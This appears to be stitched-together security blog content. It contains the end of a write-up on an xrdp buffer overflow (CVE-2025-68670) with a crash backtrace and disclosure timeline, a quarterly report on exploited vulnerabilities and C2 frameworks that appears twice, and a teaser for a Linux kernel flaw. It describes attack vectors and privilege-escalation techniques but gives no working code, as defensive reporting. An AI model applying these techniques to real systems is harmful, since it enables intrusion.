When you open this file, the mstsc.exe process connects to the specified server. The server processes the data in the file and attempts to write the domain name into the buffer, which results in a buffer overflow and the overwriting of the return address. If you look at the xrdp memory dump at the time of the crash, you can see that both the buffer and the return address have been overwritten. The application terminates during the stack canary check. The example below was captured using the gdb debugger.

gef➀ bt
#0 __pthread_kill_implementation (no_tid=0x0, signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:44
#1 __pthread_kill_internal (signo=0x6, threadid=0x7adb2dc71740) at ./nptl/pthread_kill.c:78
#2 __GI___pthread_kill (threadid=0x7adb2dc71740, signo=signo@entry=0x6) at./nptl/pthread_kill.c:89
#3 0x00007adb2da42476 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/posix/raise.c:26
#4 0x00007adb2da287f3 in __GI_abort () at ./stdlib/abort.c:79
#5 0x00007adb2da89677 in __libc_message (action=action@entry=do_abort, fmt=fmt@entry=0x7adb2dbdb92e "*** %s ***: terminated\n") at ../sysdeps/posix/libc_fatal.c:156
#6 0x00007adb2db3660a in __GI___fortify_fail (msg=msg@entry=0x7adb2dbdb916 "stack smashing detected") at ./debug/fortify_fail.c:26
#7 0x00007adb2db365d6 in __stack_chk_fail () at ./debug/stack_chk_fail.c:24
#8 0x000063654a2e5ad5 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x00007adb00000a00 in ?? ()
#11 0x0000000000050004 in ?? ()
#12 0x00007fff91732220 in ?? ()
#13 0x000000000000030a in ?? ()
#14 0xfffffffffffffff8 in ?? ()
#15 0x000000052dc71740 in ?? ()
#16 0x3030305f70647278 in ?? ()
#17 0x616d5f6130333030 in ?? ()
#18 0x00636e79735f6e69 in ?? ()
#19 0x0000000000000000 in ?? ()

Protection against vulnerability exploitation

It is worth noting that the vulnerable function can be protected by a stack canary via compiler settings. In most compilers, this option is enabled by default, which prevents an attacker from simply overwriting the return address and executing a ROP chain. To successfully exploit the vulnerability, the attacker would first need to obtain the canary value.

The vulnerable function is also referenced by the xrdp_wm_show_edits function; however, even in that case, if the code is compiled with secure settings (using stack canaries), the most trivial exploitation scenario remains unfeasible.

Nevertheless, a stack canary is not a panacea. An attacker could potentially leak or guess its value, allowing them to overwrite the buffer and the return address while leaving the canary itself unchanged. In the security bulletin dedicated to CVE-2025-68670, the xrdp maintainers advise against relying solely on stack canaries when using the project.

Vulnerability remediation timeline

  • 12/05/2025: we submitted the vulnerability report via https://github.com/neutrinolabs/xrdp/security.
  • 12/05/2025: the project maintainers immediately confirmed receipt of the report and stated they would review it shortly.
  • 12/15/2025: investigation and prioritization of the vulnerability began.
  • 12/18/2025: the maintainers confirmed the vulnerability and began developing a patch.
  • 12/24/2025: the vulnerability was assigned the identifier CVE-2025-68670.
  • 01/27/2026: the patch was merged into the project’s main branch.

Conclusion

Taking a responsible approach to code makes not only our own products more solid but also enhances popular open-source projects. We have previously shared how security assessments of KasperskyOS-based solutions – such as Kaspersky Thin Client and Kaspersky IoT Secure Gateway – led to the discovery of several vulnerabilities in Suricata and FreeRDP, which project maintainers quickly patched. CVE-2025-68670 is yet another one of those stories.

However, discovering a vulnerability is only half the battle. We would like to thank the xrdp maintainers for their rapid response to our report, for fixing the vulnerability, and for issuing a security bulletin detailing the issue and risk mitigation options.

  •  

Exploits and vulnerabilities in Q1 2026

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

  • CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
  • CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
  • CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
  • CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
  • CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
  • CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

  • CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
  • CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

  • CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
  • CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
  • CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
  • CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

  • CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
  • CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
  • CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
  • CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
  • CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

  •  

Exploits and vulnerabilities in Q1 2026

During Q1 2026, the exploit kits leveraged by threat actors to target user systems expanded once again, incorporating new exploits for the Microsoft Office platform, as well as Windows and Linux operating systems.

In this report, we dive into the statistics on published vulnerabilities and exploits, as well as the known vulnerabilities leveraged by popular C2 frameworks throughout Q1 2026.

Statistics on registered vulnerabilities

This section provides statistical data on registered vulnerabilities. The data is sourced from cve.org.

We examine the number of registered CVEs for each month starting from January 2022. The total volume of vulnerabilities continues rising and, according to current reports, the use of AI agents for discovering security issues is expected to further reinforce this upward trend.

Total published vulnerabilities per month from 2022 through 2026 (download)

Next, we analyze the number of new critical vulnerabilities (CVSS > 8.9) over the same period.

Total critical vulnerabilities published per month from 2022 through 2026 (download)

The graph indicates that while the volume of critical vulnerabilities slightly decreased compared to previous years, an upward trend remained clearly visible. At present, we attribute this to the fact that the end of last year was marked by the disclosure of several severe vulnerabilities in web frameworks. The current growth is driven by high-profile issues like React2Shell, the release of exploit frameworks for mobile platforms, and the uncovering of secondary vulnerabilities during the remediation of previously discovered ones. We will be able to test this hypothesis in the next quarter; if correct, the second quarter will show a significant decline, similar to the pattern observed in the previous year.

Exploitation statistics

This section presents statistics on vulnerability exploitation for Q1 2026. The data draws on open sources and our telemetry.

Windows and Linux vulnerability exploitation

In Q1 2026, threat actor toolsets were updated with exploits for new, recently registered vulnerabilities. However, we first examine the list of veteran vulnerabilities that consistently account for the largest share of detections:

  • CVE-2018-0802: a remote code execution (RCE) vulnerability in the Equation Editor component
  • CVE-2017-11882: another RCE vulnerability also affecting Equation Editor
  • CVE-2017-0199: a vulnerability in Microsoft Office and WordPad that allows an attacker to gain control over the system
  • CVE-2023-38831: a vulnerability resulting from the improper handling of objects contained within an archive
  • CVE-2025-6218: a vulnerability allowing the specification of relative paths to extract files into arbitrary directories, potentially leading to malicious command execution
  • CVE-2025-8088: a directory traversal bypass vulnerability during file extraction utilizing NTFS Streams

Among the newcomers, we have observed exploits targeting the Microsoft Office platform and Windows OS components. Notably, these new vulnerabilities exploit logic flaws arising from the interaction between multiple systems, making them technically difficult to isolate within a specific file or library. A list of these vulnerabilities is provided below:

  • CVE-2026-21509 and CVE-2026-21514: security feature bypass vulnerabilities: despite Protected View being enabled, a specially crafted file can still execute malicious code without the user’s knowledge. Malicious commands are executed on the victim’s system with the privileges of the user who opened the file.
  • CVE-2026-21513: a vulnerability in the Internet Explorer MSHTML engine, which is used to open websites and render HTML markup. The vulnerability involves bypassing rules that restrict the execution of files from untrusted network sources. Interestingly, the data provider for this vulnerability was an LNK file.

These three vulnerabilities were utilized together in a single chain during attacks on Windows-based user systems. While this combination is noteworthy, we believe the widespread use of the entire chain as a unified exploit will likely decline due to its instability. We anticipate that these vulnerabilities will eventually be applied individually as initial entry vectors in phishing campaigns.

Below is the trend of exploit detections on user Windows systems starting from Q1 2025.

Dynamics of the number of Windows users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

The vulnerabilities listed here can be leveraged to gain initial access to a vulnerable system and for privilege escalation. This underscores the critical importance of timely software updates.

On Linux devices, exploits for the following vulnerabilities were detected most frequently:

  • CVE-2022-0847: a vulnerability known as Dirty Pipe, which enables privilege escalation and the hijacking of running applications
  • CVE-2019-13272: a vulnerability caused by improper handling of privilege inheritance, which can be exploited to achieve privilege escalation
  • CVE-2021-22555: a heap out-of-bounds write vulnerability in the Netfilter kernel subsystem
  • CVE-2023-32233: a vulnerability in the Netfilter subsystem that allows for Use-After-Free conditions and privilege escalation through the improper processing of network requests

Dynamics of the number of Linux users encountering exploits, Q1 2025 – Q1 2026. The number of users who encountered exploits in Q1 2025 is taken as 100% (download)

In the first quarter of 2026, we observed a decrease in the number of detected exploits; however, the detection rates are on the rise relative to the same period last year. For the Linux operating system, the installation of security patches remains critical.

Most common published exploits

The distribution of published exploits by software type in Q1 2026 features an updated set of categories; once again, we see exploits targeting operating systems and Microsoft Office suites.

Distribution of published exploits by platform, Q1 2026 (download)

Vulnerability exploitation in APT attacks

We analyzed which vulnerabilities were utilized in APT attacks during Q1 2026. The ranking provided below includes data based on our telemetry, research, and open sources.

TOP 10 vulnerabilities exploited in APT attacks, Q1 2026 (download)

In Q1 2026, threat actors continued to utilize high-profile vulnerabilities registered in the previous year for APT attacks. The hypothesis we previously proposed has been confirmed: security flaws affecting web applications remain heavily exploited in real-world attacks. However, we are also observing a partial refresh of attacker toolsets. Specifically, during the first quarter of the year, APT campaigns leveraged recently discovered vulnerabilities in Microsoft Office products, edge networking device software, and remote access management systems. Although the most recent vulnerabilities are being exploited most heavily, their general characteristics continue to reinforce established trends regarding the categories of vulnerable software. Consequently, we strongly recommend applying the security patches provided by vendors.

C2 frameworks

In this section, we examine the most popular C2 frameworks used by threat actors and analyze the vulnerabilities targeted by the exploits that interacted with C2 agents in APT attacks.

The chart below shows the frequency of known C2 framework usage in attacks against users during Q1 2026, according to open sources.

TOP 10 C2 frameworks used by APTs to compromise user systems, Q1 2026 (download)

Metasploit has returned to the top of the list of the most common C2 frameworks, displacing Sliver, which now shares the second position with Havoc. These are followed by Covenant and Mythic, the latter of which previously saw greater popularity. After studying open sources and analyzing samples of malicious C2 agents that contained exploits, we determined that the following vulnerabilities were utilized in APT attacks involving the C2 frameworks mentioned above:

  • CVE-2023-46604: an insecure deserialization vulnerability allowing for arbitrary code execution within the server process context if the Apache ActiveMQ service is running
  • CVE-2024-12356 and CVE-2026-1731: command injection vulnerabilities in BeyondTrust software that allow an attacker to send malicious commands even without system authentication
  • CVE-2023-36884: a vulnerability in the Windows Search component that enables command execution on the system, bypassing security mechanisms built into Microsoft Office applications
  • CVE-2025-53770: an insecure deserialization vulnerability in Microsoft SharePoint that allows for unauthenticated command execution on the server
  • CVE-2025-8088 and CVE-2025-6218: similar directory traversal vulnerabilities that allow files to be extracted from an archive to a predefined path, potentially without the archiving utility displaying any alerts to the user

The nature of the described vulnerabilities indicates that they were exploited to gain initial access to the system. Notably, the majority of these security issues are targeted to bypass authentication mechanisms. This is likely due to the fact that C2 agents are being detected effectively, prompting threat actors to reduce the probability of discovery by utilizing bypass exploits.

Notable vulnerabilities

This section highlights the most significant vulnerabilities published in Q1 2026 that have publicly available descriptions.

CVE-2026-21519: Desktop Window Manager vulnerability

At the core of this vulnerability is a Type Confusion flaw. By attempting to access a resource within the Desktop Window Manager subsystem, an attacker can achieve privilege escalation. A necessary condition for exploiting this issue is existing authorization on the system.

It is worth noting that the DWM subsystem has been under close scrutiny by threat actors for quite some time. Historically, the primary attack vector involves interacting with the NtDComposition* function set.

RegPwn (CVE-2026-21533): a system settings access control vulnerability

CVE-2026-21533 is essentially a logic vulnerability that enables privilege escalation. It stems from the improper handling of privileges within Remote Desktop Services (RDS) components. By modifying service parameters in the registry and replacing the configuration with a custom key, an attacker can elevate privileges to the SYSTEM level. This vulnerability is likely to remain a fixture in threat actor toolsets as a method for establishing persistence and gaining high-level privileges.

CVE-2026-21514: a Microsoft Office vulnerability

This vulnerability was discovered in the wild during attacks on user systems. Notably, an LNK file is used to initiate the exploitation process. CVE-2026-21514 is also a logic issue that allows for bypassing OLE technology restrictions on malicious code execution and the transmission of NetNTLM authentication requests when processing untrusted input.

Clawdbot (CVE-2026-25253): an OpenClaw vulnerability

This vulnerability in the AI agent leaks credentials (authentication tokens) when queried via the WebSocket protocol. It can lead to the compromise of the infrastructure where the agent is installed: researchers have confirmed the ability to access local system data and execute commands with elevated privileges. The danger of CVE-2026-25253 is further compounded by the fact that its exploitation has generated numerous attack scenarios, including the use of prompt injections and ClickFix techniques to install stealers on vulnerable systems.

CVE-2026-34070: LangChain framework vulnerability

LangChain is an open-source framework designed for building applications powered by large language models (LLMs). A directory traversal vulnerability allowed attackers to access arbitrary files within the infrastructure where the framework was deployed. The core of CVE-2026-34070 lies in the fact that certain functions within langchain_core/prompts/loading.py handled configuration files insecurely. This could potentially lead to the processing of files containing malicious data, which could be leveraged to execute commands and expose critical system information or other sensitive files.

CVE-2026-22812: an OpenCode vulnerability

CVE-2026-22812 is another vulnerability identified in AI-assisted coding software. By default, the OpenCode agent provided local access for launching authorized applications via an HTTP server that did not require authentication. Consequently, attackers could execute malicious commands on a vulnerable device with the privileges of the current user.

Conclusion and advice

We observe that the registration of vulnerabilities is steadily gaining momentum in Q1 2026, a trend driven by the widespread development of AI tools designed to identify security flaws across various software types. This trajectory is likely to result not only in a higher volume of registered vulnerabilities but also in an increase in exploit-driven attacks, further reinforcing the critical necessity of timely security patch deployment. Additionally, organizations must prioritize vulnerability management and implement effective defensive technologies to mitigate the risks associated with potential exploitation.

To ensure the rapid detection of threats involving exploit utilization and to prevent their escalation, it is essential to deploy a reliable security solution. Key features of such a tool include continuous infrastructure monitoring, proactive protection, and vulnerability prioritization based on real-world relevance. These mechanisms are integrated into Kaspersky Next, which also provides endpoint security and protection against cyberattacks of any complexity.

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Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years

Copy Fail (CVE-2026-31431) is a critical Linux kernel LPE that allows stealthy root access. This flaw impacts millions of systems. Read our analysis.

The post Copy Fail: What You Need to Know About the Most Severe Linux Threat in Years appeared first on Unit 42.

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